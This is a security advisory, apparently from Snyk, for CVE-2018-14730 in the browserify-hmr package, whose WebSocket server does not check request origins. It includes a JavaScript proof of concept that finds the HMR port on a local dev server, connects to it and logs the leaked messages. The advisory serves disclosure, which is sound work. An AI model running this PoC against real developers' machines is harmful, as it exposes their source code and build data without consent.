Access Restriction Bypass

Affecting browserify-hmr package, ALL versions

Do your applications use this vulnerable package? Test your applications

Overview

browserify-hmr is an implementation of Webpack's Hot Module Replacement API as a plugin for Browserify.

Affected versions of this package are vulnerable to Access Restriction Bypass. The origin of requests was not checked by the WebSocket server, which is used for HMR (Hot Module Replacement). Anyone could receive the HMR message sent by the WebSocket server via a ws://127.0.0.1:3123/ connection from any origin.

POC

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:1234');
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
var ws;
fetch(target).then(r => {
    r.text().then(r => {
        let scriptSrc = r.match(/<script src=\"(.*?)\"><\/script>/)[1];
        fetch(`${target}${scriptSrc}`).then(r => {
            r.text().then(r => {
                let wsPort = r.match(/new WebSocket.*?(\d{4,5})/)[1];
                wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}`;
                ws = new WebSocket(wsTarget);
                ws.onmessage = event => {
                    console.log(event.data)
                };
            })
        })
    })
});

Remediation

There is no fixed version for browserify-hmr.

References

CVSS Score

7.5
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    None
  • Availability
    None
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:U
Credit
chromium1337
CVE
CVE-2018-14730
CWE
CWE-284
Snyk ID
SNYK-JS-BROWSERIFYHMR-173684
Disclosed
21 Sep, 2018
Published
13 Feb, 2019